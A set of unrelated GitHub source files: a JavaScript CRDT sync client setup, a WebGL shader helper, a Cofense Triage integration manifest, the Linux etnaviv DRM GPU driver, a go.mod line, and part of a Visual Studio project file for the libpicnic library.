{ tasks: ItemSchema },
clock,
makeMultiPersistence(
'multi-first-second',
['tasks'],
deltaNetwork ? true : false,
Object.keys(blobs),
deltaCreate,
),
deltaNetwork
? deltaNetwork.type === 'ws'
? createWebSocketNetwork(deltaNetwork.url)
: createPollingNetwork(deltaNetwork.url)
: null,
blobs,
);
window.client = client;
};
window.setupPolling = port =>
setup(createPollingNetwork(`http://localhost:${port}/sync`));
window.setupWebSockets = port =>
setup(createWebSocketNetwork(`ws://localhost:${port}/sync`));
window.setupBlob = port => {
const client = createBlobClient(
crdt,
{ tasks: ItemSchema },
new PersistentClock(localStorageClockPersist('local-first')),
makeBlobPersistence('local-first', ['tasks']),
// etag: ?string => Promise<?Blob<Data>>
// Blob<data> => Promise<string>
createBasicBlobNetwork(`http://localhost:${port}/blob/stuff`),
// createPollingNetwork('http://localhost:9900/sync'),
// createWebSocketNetwork('ws://localhost:9900/sync'),
);
console.log('set up blob');
window.client = client;
};
const setup = makeNetwork => {
const client = createClient(
crdt,
{ tasks: ItemSchema },
new PersistentClock(localStorageClockPersist('test')),
makeDeltaPersistence('test', ['tasks']),
makeNetwork,
);
console.log('setting up');
window.client = client;
console.log('Ok set up');
};
| {
"pile_set_name": "Github"
} |
/* Frank Poth 2020-02-28 */
const GRAPHICS = {
vertex_shader:`#version 300 es
in vec4 a_color;
in vec2 a_translation;
in vec2 a_vertex;
out vec4 v_color;
uniform vec2 u_resolution;
void main() {
vec2 position = ((a_vertex + a_translation) / u_resolution) * 2.0 - 1.0;
position.y = -position.y; // invert the y axis
gl_Position = vec4(position, 0, 1);
v_color = a_color;
}`,
fragment_shader:`#version 300 es
precision mediump float;
in vec4 v_color;
out vec4 v_color2;
void main() {
v_color2 = v_color;
}`,
createProgram(context, vertex_shader, fragment_shader) {
var program = context.createProgram();
context.attachShader(program, vertex_shader);
context.attachShader(program, fragment_shader);
context.linkProgram(program);
//alert(context.getProgramParameter(program, context.LINK_STATUS));
return program;
},
createShader(context, type, source) {
var shader = context.createShader(type);
context.shaderSource(shader, source);
context.compileShader(shader);
//alert(context.getShaderParameter(vertex_shader, context.COMPILE_STATUS));
console.log(context.getShaderInfoLog(shader));
return shader;
}
}; | {
"pile_set_name": "Github"
} |
{
"name": "Cofense Triage",
"description": "Use the Cofense Triage integration to manage reports and attachments.",
"support": "partner",
"currentVersion": "1.1.5",
"author": "Cofense",
"url": "https://cofense.com/contact-support/",
"email": "[email protected]",
"created": "2020-04-14T00:00:00Z",
"categories": [
"Data Enrichment & Threat Intelligence"
],
"tags": [],
"useCases": [],
"keywords": [],
"githubUser": [
"elebow"
]
} | {
"pile_set_name": "Github"
} |
/*
* Copyright (C) 2015 Etnaviv Project
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 as published by
* the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
* more details.
*
* You should have received a copy of the GNU General Public License along with
* this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <linux/component.h>
#include <linux/of_platform.h>
#include <drm/drm_of.h>
#include "etnaviv_cmdbuf.h"
#include "etnaviv_drv.h"
#include "etnaviv_gpu.h"
#include "etnaviv_gem.h"
#include "etnaviv_mmu.h"
#include "etnaviv_perfmon.h"
#ifdef CONFIG_DRM_ETNAVIV_REGISTER_LOGGING
static bool reglog;
MODULE_PARM_DESC(reglog, "Enable register read/write logging");
module_param(reglog, bool, 0600);
#else
#define reglog 0
#endif
void __iomem *etnaviv_ioremap(struct platform_device *pdev, const char *name,
const char *dbgname)
{
struct resource *res;
void __iomem *ptr;
if (name)
res = platform_get_resource_byname(pdev, IORESOURCE_MEM, name);
else
res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
ptr = devm_ioremap_resource(&pdev->dev, res);
if (IS_ERR(ptr)) {
dev_err(&pdev->dev, "failed to ioremap %s: %ld\n", name,
PTR_ERR(ptr));
return ptr;
}
if (reglog)
dev_printk(KERN_DEBUG, &pdev->dev, "IO:region %s 0x%p %08zx\n",
dbgname, ptr, (size_t)resource_size(res));
return ptr;
}
void etnaviv_writel(u32 data, void __iomem *addr)
{
if (reglog)
printk(KERN_DEBUG "IO:W %p %08x\n", addr, data);
writel(data, addr);
}
u32 etnaviv_readl(const void __iomem *addr)
{
u32 val = readl(addr);
if (reglog)
printk(KERN_DEBUG "IO:R %p %08x\n", addr, val);
return val;
}
/*
* DRM operations:
*/
static void load_gpu(struct drm_device *dev)
{
struct etnaviv_drm_private *priv = dev->dev_private;
unsigned int i;
for (i = 0; i < ETNA_MAX_PIPES; i++) {
struct etnaviv_gpu *g = priv->gpu[i];
if (g) {
int ret;
ret = etnaviv_gpu_init(g);
if (ret)
priv->gpu[i] = NULL;
}
}
}
static int etnaviv_open(struct drm_device *dev, struct drm_file *file)
{
struct etnaviv_drm_private *priv = dev->dev_private;
struct etnaviv_file_private *ctx;
int i;
ctx = kzalloc(sizeof(*ctx), GFP_KERNEL);
if (!ctx)
return -ENOMEM;
for (i = 0; i < ETNA_MAX_PIPES; i++) {
struct etnaviv_gpu *gpu = priv->gpu[i];
if (gpu) {
drm_sched_entity_init(&gpu->sched,
&ctx->sched_entity[i],
&gpu->sched.sched_rq[DRM_SCHED_PRIORITY_NORMAL],
32, NULL);
}
}
file->driver_priv = ctx;
return 0;
}
static void etnaviv_postclose(struct drm_device *dev, struct drm_file *file)
{
struct etnaviv_drm_private *priv = dev->dev_private;
struct etnaviv_file_private *ctx = file->driver_priv;
unsigned int i;
for (i = 0; i < ETNA_MAX_PIPES; i++) {
struct etnaviv_gpu *gpu = priv->gpu[i];
if (gpu) {
mutex_lock(&gpu->lock);
if (gpu->lastctx == ctx)
gpu->lastctx = NULL;
mutex_unlock(&gpu->lock);
drm_sched_entity_fini(&gpu->sched,
&ctx->sched_entity[i]);
}
}
kfree(ctx);
}
/*
* DRM debugfs:
*/
#ifdef CONFIG_DEBUG_FS
static int etnaviv_gem_show(struct drm_device *dev, struct seq_file *m)
{
struct etnaviv_drm_private *priv = dev->dev_private;
etnaviv_gem_describe_objects(priv, m);
return 0;
}
static int etnaviv_mm_show(struct drm_device *dev, struct seq_file *m)
{
struct drm_printer p = drm_seq_file_printer(m);
read_lock(&dev->vma_offset_manager->vm_lock);
drm_mm_print(&dev->vma_offset_manager->vm_addr_space_mm, &p);
read_unlock(&dev->vma_offset_manager->vm_lock);
return 0;
}
static int etnaviv_mmu_show(struct etnaviv_gpu *gpu, struct seq_file *m)
{
struct drm_printer p = drm_seq_file_printer(m);
seq_printf(m, "Active Objects (%s):\n", dev_name(gpu->dev));
mutex_lock(&gpu->mmu->lock);
drm_mm_print(&gpu->mmu->mm, &p);
mutex_unlock(&gpu->mmu->lock);
return 0;
}
static void etnaviv_buffer_dump(struct etnaviv_gpu *gpu, struct seq_file *m)
{
struct etnaviv_cmdbuf *buf = &gpu->buffer;
u32 size = buf->size;
u32 *ptr = buf->vaddr;
u32 i;
seq_printf(m, "virt %p - phys 0x%llx - free 0x%08x\n",
buf->vaddr, (u64)etnaviv_cmdbuf_get_pa(buf),
size - buf->user_size);
for (i = 0; i < size / 4; i++) {
if (i && !(i % 4))
seq_puts(m, "\n");
if (i % 4 == 0)
seq_printf(m, "\t0x%p: ", ptr + i);
seq_printf(m, "%08x ", *(ptr + i));
}
seq_puts(m, "\n");
}
static int etnaviv_ring_show(struct etnaviv_gpu *gpu, struct seq_file *m)
{
seq_printf(m, "Ring Buffer (%s): ", dev_name(gpu->dev));
mutex_lock(&gpu->lock);
etnaviv_buffer_dump(gpu, m);
mutex_unlock(&gpu->lock);
return 0;
}
static int show_unlocked(struct seq_file *m, void *arg)
{
struct drm_info_node *node = (struct drm_info_node *) m->private;
struct drm_device *dev = node->minor->dev;
int (*show)(struct drm_device *dev, struct seq_file *m) =
node->info_ent->data;
return show(dev, m);
}
static int show_each_gpu(struct seq_file *m, void *arg)
{
struct drm_info_node *node = (struct drm_info_node *) m->private;
struct drm_device *dev = node->minor->dev;
struct etnaviv_drm_private *priv = dev->dev_private;
struct etnaviv_gpu *gpu;
int (*show)(struct etnaviv_gpu *gpu, struct seq_file *m) =
node->info_ent->data;
unsigned int i;
int ret = 0;
for (i = 0; i < ETNA_MAX_PIPES; i++) {
gpu = priv->gpu[i];
if (!gpu)
continue;
ret = show(gpu, m);
if (ret < 0)
break;
}
return ret;
}
static struct drm_info_list etnaviv_debugfs_list[] = {
{"gpu", show_each_gpu, 0, etnaviv_gpu_debugfs},
{"gem", show_unlocked, 0, etnaviv_gem_show},
{ "mm", show_unlocked, 0, etnaviv_mm_show },
{"mmu", show_each_gpu, 0, etnaviv_mmu_show},
{"ring", show_each_gpu, 0, etnaviv_ring_show},
};
static int etnaviv_debugfs_init(struct drm_minor *minor)
{
struct drm_device *dev = minor->dev;
int ret;
ret = drm_debugfs_create_files(etnaviv_debugfs_list,
ARRAY_SIZE(etnaviv_debugfs_list),
minor->debugfs_root, minor);
if (ret) {
dev_err(dev->dev, "could not install etnaviv_debugfs_list\n");
return ret;
}
return ret;
}
#endif
/*
* DRM ioctls:
*/
static int etnaviv_ioctl_get_param(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct etnaviv_drm_private *priv = dev->dev_private;
struct drm_etnaviv_param *args = data;
struct etnaviv_gpu *gpu;
if (args->pipe >= ETNA_MAX_PIPES)
return -EINVAL;
gpu = priv->gpu[args->pipe];
if (!gpu)
return -ENXIO;
return etnaviv_gpu_get_param(gpu, args->param, &args->value);
}
static int etnaviv_ioctl_gem_new(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_etnaviv_gem_new *args = data;
if (args->flags & ~(ETNA_BO_CACHED | ETNA_BO_WC | ETNA_BO_UNCACHED |
ETNA_BO_FORCE_MMU))
return -EINVAL;
return etnaviv_gem_new_handle(dev, file, args->size,
args->flags, &args->handle);
}
#define TS(t) ((struct timespec){ \
.tv_sec = (t).tv_sec, \
.tv_nsec = (t).tv_nsec \
})
static int etnaviv_ioctl_gem_cpu_prep(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_etnaviv_gem_cpu_prep *args = data;
struct drm_gem_object *obj;
int ret;
if (args->op & ~(ETNA_PREP_READ | ETNA_PREP_WRITE | ETNA_PREP_NOSYNC))
return -EINVAL;
obj = drm_gem_object_lookup(file, args->handle);
if (!obj)
return -ENOENT;
ret = etnaviv_gem_cpu_prep(obj, args->op, &TS(args->timeout));
drm_gem_object_put_unlocked(obj);
return ret;
}
static int etnaviv_ioctl_gem_cpu_fini(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_etnaviv_gem_cpu_fini *args = data;
struct drm_gem_object *obj;
int ret;
if (args->flags)
return -EINVAL;
obj = drm_gem_object_lookup(file, args->handle);
if (!obj)
return -ENOENT;
ret = etnaviv_gem_cpu_fini(obj);
drm_gem_object_put_unlocked(obj);
return ret;
}
static int etnaviv_ioctl_gem_info(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_etnaviv_gem_info *args = data;
struct drm_gem_object *obj;
int ret;
if (args->pad)
return -EINVAL;
obj = drm_gem_object_lookup(file, args->handle);
if (!obj)
return -ENOENT;
ret = etnaviv_gem_mmap_offset(obj, &args->offset);
drm_gem_object_put_unlocked(obj);
return ret;
}
static int etnaviv_ioctl_wait_fence(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_etnaviv_wait_fence *args = data;
struct etnaviv_drm_private *priv = dev->dev_private;
struct timespec *timeout = &TS(args->timeout);
struct etnaviv_gpu *gpu;
if (args->flags & ~(ETNA_WAIT_NONBLOCK))
return -EINVAL;
if (args->pipe >= ETNA_MAX_PIPES)
return -EINVAL;
gpu = priv->gpu[args->pipe];
if (!gpu)
return -ENXIO;
if (args->flags & ETNA_WAIT_NONBLOCK)
timeout = NULL;
return etnaviv_gpu_wait_fence_interruptible(gpu, args->fence,
timeout);
}
static int etnaviv_ioctl_gem_userptr(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct drm_etnaviv_gem_userptr *args = data;
int access;
if (args->flags & ~(ETNA_USERPTR_READ|ETNA_USERPTR_WRITE) ||
args->flags == 0)
return -EINVAL;
if (offset_in_page(args->user_ptr | args->user_size) ||
(uintptr_t)args->user_ptr != args->user_ptr ||
(u32)args->user_size != args->user_size ||
args->user_ptr & ~PAGE_MASK)
return -EINVAL;
if (args->flags & ETNA_USERPTR_WRITE)
access = VERIFY_WRITE;
else
access = VERIFY_READ;
if (!access_ok(access, (void __user *)(unsigned long)args->user_ptr,
args->user_size))
return -EFAULT;
return etnaviv_gem_new_userptr(dev, file, args->user_ptr,
args->user_size, args->flags,
&args->handle);
}
static int etnaviv_ioctl_gem_wait(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct etnaviv_drm_private *priv = dev->dev_private;
struct drm_etnaviv_gem_wait *args = data;
struct timespec *timeout = &TS(args->timeout);
struct drm_gem_object *obj;
struct etnaviv_gpu *gpu;
int ret;
if (args->flags & ~(ETNA_WAIT_NONBLOCK))
return -EINVAL;
if (args->pipe >= ETNA_MAX_PIPES)
return -EINVAL;
gpu = priv->gpu[args->pipe];
if (!gpu)
return -ENXIO;
obj = drm_gem_object_lookup(file, args->handle);
if (!obj)
return -ENOENT;
if (args->flags & ETNA_WAIT_NONBLOCK)
timeout = NULL;
ret = etnaviv_gem_wait_bo(gpu, obj, timeout);
drm_gem_object_put_unlocked(obj);
return ret;
}
static int etnaviv_ioctl_pm_query_dom(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct etnaviv_drm_private *priv = dev->dev_private;
struct drm_etnaviv_pm_domain *args = data;
struct etnaviv_gpu *gpu;
if (args->pipe >= ETNA_MAX_PIPES)
return -EINVAL;
gpu = priv->gpu[args->pipe];
if (!gpu)
return -ENXIO;
return etnaviv_pm_query_dom(gpu, args);
}
static int etnaviv_ioctl_pm_query_sig(struct drm_device *dev, void *data,
struct drm_file *file)
{
struct etnaviv_drm_private *priv = dev->dev_private;
struct drm_etnaviv_pm_signal *args = data;
struct etnaviv_gpu *gpu;
if (args->pipe >= ETNA_MAX_PIPES)
return -EINVAL;
gpu = priv->gpu[args->pipe];
if (!gpu)
return -ENXIO;
return etnaviv_pm_query_sig(gpu, args);
}
static const struct drm_ioctl_desc etnaviv_ioctls[] = {
#define ETNA_IOCTL(n, func, flags) \
DRM_IOCTL_DEF_DRV(ETNAVIV_##n, etnaviv_ioctl_##func, flags)
ETNA_IOCTL(GET_PARAM, get_param, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_NEW, gem_new, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_INFO, gem_info, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_CPU_PREP, gem_cpu_prep, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_CPU_FINI, gem_cpu_fini, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_SUBMIT, gem_submit, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(WAIT_FENCE, wait_fence, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_USERPTR, gem_userptr, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(GEM_WAIT, gem_wait, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(PM_QUERY_DOM, pm_query_dom, DRM_AUTH|DRM_RENDER_ALLOW),
ETNA_IOCTL(PM_QUERY_SIG, pm_query_sig, DRM_AUTH|DRM_RENDER_ALLOW),
};
static const struct vm_operations_struct vm_ops = {
.fault = etnaviv_gem_fault,
.open = drm_gem_vm_open,
.close = drm_gem_vm_close,
};
static const struct file_operations fops = {
.owner = THIS_MODULE,
.open = drm_open,
.release = drm_release,
.unlocked_ioctl = drm_ioctl,
.compat_ioctl = drm_compat_ioctl,
.poll = drm_poll,
.read = drm_read,
.llseek = no_llseek,
.mmap = etnaviv_gem_mmap,
};
static struct drm_driver etnaviv_drm_driver = {
.driver_features = DRIVER_GEM |
DRIVER_PRIME |
DRIVER_RENDER,
.open = etnaviv_open,
.postclose = etnaviv_postclose,
.gem_free_object_unlocked = etnaviv_gem_free_object,
.gem_vm_ops = &vm_ops,
.prime_handle_to_fd = drm_gem_prime_handle_to_fd,
.prime_fd_to_handle = drm_gem_prime_fd_to_handle,
.gem_prime_export = drm_gem_prime_export,
.gem_prime_import = drm_gem_prime_import,
.gem_prime_res_obj = etnaviv_gem_prime_res_obj,
.gem_prime_pin = etnaviv_gem_prime_pin,
.gem_prime_unpin = etnaviv_gem_prime_unpin,
.gem_prime_get_sg_table = etnaviv_gem_prime_get_sg_table,
.gem_prime_import_sg_table = etnaviv_gem_prime_import_sg_table,
.gem_prime_vmap = etnaviv_gem_prime_vmap,
.gem_prime_vunmap = etnaviv_gem_prime_vunmap,
.gem_prime_mmap = etnaviv_gem_prime_mmap,
#ifdef CONFIG_DEBUG_FS
.debugfs_init = etnaviv_debugfs_init,
#endif
.ioctls = etnaviv_ioctls,
.num_ioctls = DRM_ETNAVIV_NUM_IOCTLS,
.fops = &fops,
.name = "etnaviv",
.desc = "etnaviv DRM",
.date = "20151214",
.major = 1,
.minor = 2,
};
/*
* Platform driver:
*/
static int etnaviv_bind(struct device *dev)
{
struct etnaviv_drm_private *priv;
struct drm_device *drm;
int ret;
drm = drm_dev_alloc(&etnaviv_drm_driver, dev);
if (IS_ERR(drm))
return PTR_ERR(drm);
priv = kzalloc(sizeof(*priv), GFP_KERNEL);
if (!priv) {
dev_err(dev, "failed to allocate private data\n");
ret = -ENOMEM;
goto out_unref;
}
drm->dev_private = priv;
mutex_init(&priv->gem_lock);
INIT_LIST_HEAD(&priv->gem_list);
priv->num_gpus = 0;
dev_set_drvdata(dev, drm);
ret = component_bind_all(dev, drm);
if (ret < 0)
goto out_bind;
load_gpu(drm);
ret = drm_dev_register(drm, 0);
if (ret)
goto out_register;
return 0;
out_register:
component_unbind_all(dev, drm);
out_bind:
kfree(priv);
out_unref:
drm_dev_unref(drm);
return ret;
}
static void etnaviv_unbind(struct device *dev)
{
struct drm_device *drm = dev_get_drvdata(dev);
struct etnaviv_drm_private *priv = drm->dev_private;
drm_dev_unregister(drm);
component_unbind_all(dev, drm);
drm->dev_private = NULL;
kfree(priv);
drm_dev_unref(drm);
}
static const struct component_master_ops etnaviv_master_ops = {
.bind = etnaviv_bind,
.unbind = etnaviv_unbind,
};
static int compare_of(struct device *dev, void *data)
{
struct device_node *np = data;
return dev->of_node == np;
}
static int compare_str(struct device *dev, void *data)
{
return !strcmp(dev_name(dev), data);
}
static int etnaviv_pdev_probe(struct platform_device *pdev)
{
struct device *dev = &pdev->dev;
struct component_match *match = NULL;
dma_set_coherent_mask(&pdev->dev, DMA_BIT_MASK(32));
if (!dev->platform_data) {
struct device_node *core_node;
for_each_compatible_node(core_node, NULL, "vivante,gc") {
if (!of_device_is_available(core_node))
continue;
drm_of_component_match_add(&pdev->dev, &match,
compare_of, core_node);
}
} else {
char **names = dev->platform_data;
unsigned i;
for (i = 0; names[i]; i++)
component_match_add(dev, &match, compare_str, names[i]);
}
return component_master_add_with_match(dev, &etnaviv_master_ops, match);
}
static int etnaviv_pdev_remove(struct platform_device *pdev)
{
component_master_del(&pdev->dev, &etnaviv_master_ops);
return 0;
}
static struct platform_driver etnaviv_platform_driver = {
.probe = etnaviv_pdev_probe,
.remove = etnaviv_pdev_remove,
.driver = {
.name = "etnaviv",
},
};
static struct platform_device *etnaviv_drm;
static int __init etnaviv_init(void)
{
struct platform_device *pdev;
int ret;
struct device_node *np;
etnaviv_validate_init();
ret = platform_driver_register(&etnaviv_gpu_driver);
if (ret != 0)
return ret;
ret = platform_driver_register(&etnaviv_platform_driver);
if (ret != 0)
goto unregister_gpu_driver;
/*
* If the DT contains at least one available GPU device, instantiate
* the DRM platform device.
*/
for_each_compatible_node(np, NULL, "vivante,gc") {
if (!of_device_is_available(np))
continue;
pdev = platform_device_register_simple("etnaviv", -1,
NULL, 0);
if (IS_ERR(pdev)) {
ret = PTR_ERR(pdev);
of_node_put(np);
goto unregister_platform_driver;
}
etnaviv_drm = pdev;
of_node_put(np);
break;
}
return 0;
unregister_platform_driver:
platform_driver_unregister(&etnaviv_platform_driver);
unregister_gpu_driver:
platform_driver_unregister(&etnaviv_gpu_driver);
return ret;
}
module_init(etnaviv_init);
static void __exit etnaviv_exit(void)
{
platform_device_unregister(etnaviv_drm);
platform_driver_unregister(&etnaviv_platform_driver);
platform_driver_unregister(&etnaviv_gpu_driver);
}
module_exit(etnaviv_exit);
MODULE_AUTHOR("Christian Gmeiner <[email protected]>");
MODULE_AUTHOR("Russell King <[email protected]>");
MODULE_AUTHOR("Lucas Stach <[email protected]>");
MODULE_DESCRIPTION("etnaviv DRM Driver");
MODULE_LICENSE("GPL v2");
MODULE_ALIAS("platform:etnaviv");
| {
"pile_set_name": "Github"
} |
module github.com/hashicorp/errwrap
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<ItemGroup>
<ClCompile Include="..\hash.c" />
<ClCompile Include="..\lowmc_constants.c" />
<ClCompile Include="..\picnic.c" />
<ClCompile Include="..\picnic3_impl.c" />
<ClCompile Include="..\picnic_impl.c" />
<ClCompile Include="..\picnic_types.c" />
<ClCompile Include="..\sha3\KeccakHash.c" />
<ClCompile Include="..\sha3\KeccakP-1600-reference.c" />
<ClCompile Include="..\sha3\KeccakSpongeWidth1600.c" />
<ClCompile Include="..\tree.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\hash.h" />
<ClInclude Include="..\lowmc_constants.h" />
<ClInclude Include="..\picnic.h" />
<ClInclude Include="..\picnic3_impl.h" />
<ClInclude Include="..\picnic_impl.h" />
<ClInclude Include="..\picnic_types.h" />
<ClInclude Include="..\platform.h" />
<ClInclude Include="..\sha3\align.h" />
<ClInclude Include="..\sha3\brg_endian.h" />
<ClInclude Include="..\sha3\KeccakHash.h" />
<ClInclude Include="..\sha3\KeccakP-1600-reference.h" />
<ClInclude Include="..\sha3\KeccakP-1600-SnP.h" />
<ClInclude Include="..\sha3\KeccakSponge-common.h" />
<ClInclude Include="..\sha3\KeccakSpongeWidth1600.h" />
<ClInclude Include="..\tree.h" />
</ItemGroup>
<ItemGroup>
<None Include="..\sha3\KeccakSponge.inc" />
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>15.0</VCProjectVersion>
<ProjectGuid>{CE0F4C42-FD63-4B44-A722-A4772D1988E9}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>libpicnic</RootNamespace>
<WindowsTargetPlatformVersion>10.0.16299.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>StaticLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v141</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\$(ProjectName)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\$(ProjectName)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\$(ProjectName)\</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\$(ProjectName)\</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_LIB;%(PreprocessorDefinitions);__WINDOWS__</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_LIB;%(PreprocessorDefinitions);__WINDOWS__</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_LIB;%(PreprocessorDefinitions);__WINDOWS__</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<PrecompiledHeader>NotUsing</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
